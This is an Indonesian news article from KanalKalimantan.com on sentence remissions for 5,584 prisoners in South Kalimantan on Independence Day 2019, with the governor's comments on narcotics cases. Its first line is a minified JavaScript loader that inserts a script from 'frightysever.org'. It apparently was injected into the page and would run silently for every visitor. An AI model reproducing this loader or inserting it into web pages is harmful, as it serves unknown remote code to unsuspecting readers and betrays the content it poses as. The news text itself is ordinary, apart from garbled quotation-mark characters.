(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Sebanyak 5.584 narapidana di seluruh Unit Pelaksana Teknis (UPT) Permasyarakatan se Kalimantan Selatan baik Lapas maupun Rutan mendapat pengurangan masa hukuman atau remisi di Hari Kemerdekaan Republik Indonesia ke-74.
Dari total 5.584, napi yang menerima remisi ialah mereka yang telibat dari kasus tindak pidana umum sebanyak 3.498 orang dan kasus tindak pidana khusus sebanyak 2.086 orang baik itu kasus narkotika maupun korupsi.
Kepala Divisi Pemasyarakatan (Kadivpas) Kantor Wilayah (Kanwil) Kementerian Hukum dan HAM (Kemenkumham) Kalimantan Selatan, Alfi Zahrin Kiemas mengatakan, pemberian remisi yang saat ini diatur oleh Peraturan Menteri nomor 3 tahun 2018 memiliki mekanisme yang sangat transparan dan sudah berbasis sistem yang mendayagunakan teknologi informasi.
“Rinciannya, untuk mereka yang menerima remisi umum I yang masa hukumannya dipangkas antara satu hingga enam bulan, berjumlah 5.383 orang. Lalu penerima remisi umum II yang langsung bebas berjumlah 201 orang,†katanya saat pemberian remisi, di Lapas Kelas III Banjarbaru, Sabtu (17/8).
Surat Keputusan (SK) remisi umum II kepada napi yang langsung bebas, diserahkan langsung oleh Gubernur Kalsel H Sahbirin Noor.
Dalam pidato Menteri Hukum dan HAM RI yang dibacakan H Sahbirin Noor, pemberian remisi merupakan bentuk perhatian dan kepedulian pemerintah terhadap hak asasi manusia. Dirinya berpesan kepada para napi khususnya bagi mereka yang langsung bisa menghirup udara segar, agar mengabdi kepada negara dan tidak kembali mengulangi kesalahannya.
“Remisi ini dikhususkan pada perilaku mereka saat menjalankan hukumannya. Ini menjadi stimulus agar mereka bisa berkelakuan baik. Saya ucapkan selamat dan jadilah warga negara yang baik,†katanya.
Perlu diketahui pertangggal 16 Agustus 2019, jumlah penghuni Lapas, Rutan, dan LPKA se Kalsel berjumlah 9.223 orang. Dari jumlah tersebut kasus tindak pidana khusus jenis narkotika masih yang paling mendominasi dengan jumlah narapidana sebanyak 6.011 orang. Disusul dengan kasus tindak pidana umum sebanyak 3.122 orang.
Berkaca terhadap hal tersebut, Gubernur Kalsel merasa prihatin dengan maraknya kasus narkotika di Kalsel. Apalagi penyalahgunaan narkotika ditemukan di dalam Lapas maupun Rutan.
“Ini menjadi perhatian kita. Karena narkotika ini menyerang kita semua, seperti musuh terselubung. Baik itu oknum PNS, POLRI, TNI, semuanya pernah ada yang terjerat narkotika. Kita harus berantas dan membumi hanguskan narkotika di Kalsel,†katanya. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.